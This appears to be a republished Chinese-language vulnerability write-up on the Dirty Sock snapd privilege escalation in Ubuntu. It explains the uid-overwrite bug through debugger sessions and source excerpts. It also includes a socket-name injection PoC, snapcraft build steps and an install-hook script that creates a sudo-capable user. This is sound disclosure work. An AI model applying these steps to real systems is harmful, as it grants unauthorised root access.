您好,登錄后才能下訂單哦!
如何進行Ubuntu Linux中的特權提升漏洞Dirty Sock分析,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
由于默認安裝的服務snapd API中的一個bug,通過默認安裝的Ubuntu Linux被發現存在特權提升漏洞,任何本地用戶都可以利用此漏洞直接獲取root權限。
首先在此提供dirty_sock代碼倉庫中兩個有效的exploit:
dirty_sockv1:基于Ubuntu SSO的詳細信息,使用create-user API創建本地用戶。
dirty_sockv2:側加載snap,其中包含生成新本地用戶的install hook。
兩者都對默認安裝的Ubuntu有效。大部分測試是在18.10版本完成的,不過舊版本也受改漏洞影響。值得一提的是,snapd團隊對此漏洞回應迅速且處理妥善。直接與他們合作也是非常愉快。
snapd提供了附加到本地UNIX_AF socket的REST API,通過查詢與該socket連接的關聯UID來實現對API的訪問控制。在for循環進行字符串解析的過程中,用戶可控的socket數據可以覆蓋UID變量,從而允許任何用戶訪問任何API函數。而通過訪問API,有多種方法可以獲取root權限,上面鏈接的exploit就展示了兩種可能性。
為了簡化Linux系統上的打包應用程序,各種新的競爭標準紛紛出現。作為其中的一個發行版,Ubuntu Linux的開發商Canonical也在推廣他們的“Snap”,類似于Windows應用程序,snap將所有應用程序依賴項轉換為單個二進制文件。
Snap生態包含一個“應用商店”,開發人員可以在其中發布和維護即時可用的軟件包。
本地的snap和在線商店的通信部分由系統服務“snapd”處理。此服務自動安裝在Ubuntu中,并在“root”用戶的上下文中運行。Snapd正在發展成為Ubuntu操作系統的重要組成部分,特別是在用于云和物聯網的“Snappy Ubuntu Core”等更精簡的發行版中。
snapd服務在位于/lib/systemd/system/snapd.service的unit文件中被描述。
以下是前幾行:
[Unit] Description=Snappy daemon Requires=snapd.socket
順著這個我們找到systemd socket unit文件,位于/lib/systemd/system/snapd.socket,其中提供了一些有趣的信息:
[Socket] ListenStream=/run/snapd.socket ListenStream=/run/snapd-snap.socket SocketMode=0666
Linux通過稱為“AF_UNIX”的socket在同一臺機器上的進程之間進行通信。“AF_INET”和“AF_INET6”socket則用于通過網絡連接的進程通信。上面顯示的內容告訴我們系統創建了兩個socket文件。'0666'模式則為所有人設置文件讀寫權限,只有這樣才可以允許任何進程連接并進行socket通信。
我們可以通過文件系統在查看這些socket文件:
$ ls -aslh /run/snapd* 0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd-snap.socket 0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd.socket
我們可以通過Linux中的nc工具(只要是BSD風格)連接到像這樣的AF_UNIX socket。以下是一個示例。
$ nc -U /run/snapd.socket HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close 400 Bad Request
碰巧,攻擊者在入侵計算機后要做的第一件事就是查找在root上下文中運行的隱藏服務,HTTP服務器是利用的主要目標,而它們通常與網絡套接字有關。
現在我們知道有一個很好的利用目標 - 一個隱藏可能沒有被廣泛測試的HTTP服務。另外,我正在開發一個提權工具uptux,該工具可識別出此漏洞。
作為一個開源項目,我們利用源代碼繼續進行靜態分析。開發人員提供了有關此REST API的文檔。
對于利用而言,一個非常需要的API函數是“POST/v2/create-user”,簡稱為“創建本地用戶”。文檔告訴我們這個調用需要root權限才能執行。那么守護進程究竟是如何確定訪問API的用戶是否已經擁有root權限?
順著代碼我們找到了這個文件,現在來看這一行:
ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)
這是調用golang的標準庫之一,用來收集與套接字連接相關的用戶信息。基本上,AF_UNIX socket系列有一個選項,可以在附加數據中接收發送過程的憑據(請參閱Linux命令行中的man unix)。這是確定訪問API的進程權限的一種相當可靠的方法。
通過使用名為delve的golang調試器,我們可以確切地看到上文執行“nc”命令時返回的內容。下面是在此函數中設置斷點時調試器的輸出,然后使用delve的“print”命令來顯示變量“ucred”當前包含的內容:
> github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept() ... 109: ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED) => 110: if err != nil { ... (dlv) print ucred *syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000}
不錯。它知道了我的uid為1000,即將拒絕我訪問敏感的API函數。如果程序在這種狀態下調用這些變量,那么結果就符合預期了,然而事實并非如此。
其實在此函數中還包含一些額外的處理,其中連接信息與上面發現的值會一起被添加到一個新對象:
func (wc *ucrednetConn) RemoteAddr() net.Addr { return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket} }
這些值被拼接成一個字符串變量:
func (wa *ucrednetAddr) String() string { return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr) }
最后經由函數解析,字符串再次被分解為單個變量
func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) { ... for _, token := range strings.Split(remoteAddr, ";") { var v uint64 ... } else if strings.HasPrefix(token, "uid=") { if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil { uid = uint32(v) } else { break }
最后一個函數的作用是將字符串用“;”字符拆分,然后查找以“uid =”開頭的任何內容。當它遍歷完所有拆分時,第二次出現的“uid =”會覆蓋掉第一個。
所以如果我們能以某種方式將任意文本注入此函數中...
回到delve調試器,我們可以查看一下“remoteAddr”字符串,看看在實現正確的HTTP GET請求的“nc”連接中它包含了什么:
請求:
$ nc -U /run/snapd.socket GET / HTTP/1.1 Host: 127.0.0.1
調試器輸出:
github.com/snapcore/snapd/daemon.ucrednetGet() ... => 41: for _, token := range strings.Split(remoteAddr, ";") { ... (dlv) print remoteAddr "pid=5127;uid=1000;socket=/run/snapd.socket;@"
現在的情況是,我們有一個字符串變量,其中所有變量都拼接在一起,該字符串包含四個元素。第二個元素“uid = 1000”是當前控制權限的內容。
函數將此字符串通過“;”拆分并迭代,如果字符串包含“uid=”),則可能會覆蓋第一個“uid =”。
第一個(socket=/run/snapd.socket)是用來監聽socket的本地“網絡地址”:是服務所定義的綁定文件路徑。我們無法修改snapd,也無法讓其使用另一個socket名來運行。但是字符串末尾的“@”符號是什么? 這個是從哪里來的?變量名“remoteAddr”給了一個很好的提示。在調試器中費了些周折,我們可以看到golang標準庫(net.go)返回本地網絡地址和遠程地址。你可以在下面的調試會話中看到輸出為“laddr”和“raddr”。
> net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f) ... => 210: func (c *conn) LocalAddr() Addr { ... (dlv) print c.fd ... laddr: net.Addr(*net.UnixAddr) *{ Name: "/run/snapd.socket", Net: "unix",}, raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},}
遠程地址會被設置為神秘的@符號。進一步閱讀man unix幫助信息后,我們了解到這與“抽象命名空間”有關,用來綁定獨立于文件系統的socket。命名空間中的socket開頭為null-byte,該字符在終端中通常會顯示為@。
我們可以創建綁定到我們控制的文件名的socket,而不依賴netcat利用的抽象套接字命名空間。這應該允許我們影響想要修改的字符串變量的最后部分,也就是上文的“raddr”變量。
使用一些python代碼,我們可以創建一個包含“;uid=0;”字符串的文件名,通過socket綁定該文件,來啟動與snapd API的連接。
以下為PoC代碼片段:
## 設置包含payload的socket名稱 sockfile = "/tmp/sock;uid=0;" ## 綁定socket client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) client_sock.bind(sockfile) ## 連接到snap守護進程 client_sock.connect('/run/snapd.socket')
現在再看一下remoteAddr變量,觀察調試器中發生的事情:
> github.com/snapcore/snapd/daemon.ucrednetGet() ... => 41: for _, token := range strings.Split(remoteAddr, ";") { ... (dlv) print remoteAddr "pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;"
我們注入了一個假的uid 0,即root用戶,它會在最后一次迭代中覆蓋實際的uid。這樣我們就能夠訪問API的受保護功能。
在調試器中繼續觀察來驗證這一點,并看到uid被設置為0:
> github.com/snapcore/snapd/daemon.ucrednetGet() ... => 65: return pid, uid, socket, err ... (dlv) print uid 0
dirty_sockv1利用的是“POST/v2/create-user”這個API函數。要利用該漏洞,我們只需在Ubuntu SSO上創建一個賬戶,然后將SSH公鑰上傳到賬戶目錄中,接下來使用如下命令來利用漏洞(使用注冊的郵箱和關聯的SSH私鑰):
$ dirty_sockv1.py -u 你的@郵箱.com -k id_rsa
這種方法是非常可靠的,可以安全執行。你可以止步這里并自己嘗試獲得root權限。
還在看? 好吧,對互聯網連接和SSH服務的要求一直在變,我想看看我是否可以在更受限制的環境中利用。這導致我們有了版本二。
dirty_sockv2使用了“POST/v2/snaps” API來側加載snap,該snap中包含一個bash腳本,可以添加一個本地用戶。這個版本適用于沒有運行SSH服務的系統,也適用于沒有互聯網連接的新版Ubuntu。然而,側加載需要一些核心snap依賴,如果不存在這些依賴,可能會觸發snapd服務的更新操作。這個場景下,我發現這個版本仍然有效,但只能使用一次。
snap本身運行在沙箱環境中,并且數字簽名需要匹配主機已信任的公鑰。然而我們可以通過處于開發模式(“devmode”)的snap來降低這些限制條件,這樣snap就能像其他應用那樣訪問主機操作系統。
此外snap引入了“hooks”機制,其中“install hook”會在snap安裝時運行,并且“install hook”可以是一個簡單的shell腳本。如果snap配置為“devmode”,那么這個hook會在root上下文中運行。
我創建了一個簡單的snap,該snap沒有其他功能,只是會在安裝階段執行的一個bash腳本。
該腳本會運行如下命令:
useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash usermod -aG sudo dirty_sock echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers
上面加密字符串只是使用Python crypt.crypt()函數處理“dirty_sock”所創建的文本。
以下命令顯示了詳細創建此快照的過程,這都是在開發機器上完成的,而不是目標機器。snap創建完畢后,我們可以將其轉換為base64文本,以便包含到完整的python利用代碼中。
## 安裝必要工具 sudo apt install snapcraft -y ## 創建空目錄 cd /tmp mkdir dirty_snap cd dirty_snap ## 初始化目錄作為snap項目 snapcraft init ## 設置安裝hook mkdir snap/hooks touch snap/hooks/install chmod a+x snap/hooks/install ## 寫下我們想要以root執行的腳本 cat > snap/hooks/install << "EOF" #!/bin/bash useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash usermod -aG sudo dirty_sock echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers EOF ## 配置snap yaml文件 cat > snap/snapcraft.yaml << "EOF" name: dirty-sock version: '0.1' summary: Empty snap, used for exploit description: | See https://github.com/initstring/dirty_sock grade: devel confinement: devmode parts: my-part: plugin: nil EOF ## 搭建snap snapcraft
一旦有了snap文件,我們就可以通過bash將它轉換為base64,如下所示:
$ base64 <snap-filename.snap>
base64編碼的文本可以放在dirty_sock.py漏洞利用代碼開頭的全局變量“TROJAN_SNAP”中。
漏洞利用代碼本身是用python中寫的,可以執行以下操作:
1.創建一個文件,文件名包含";uid=0;"
2.將socket綁定到該文件
3.連接到snap API
4.刪除(上次留下的)snap
5.(在install hook將運行時)安裝snap
6.刪除snap
7.刪除臨時socket文件
8.提示祝你利用成功
打上補丁,snapd團隊在披露后迅速修復了漏洞。
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。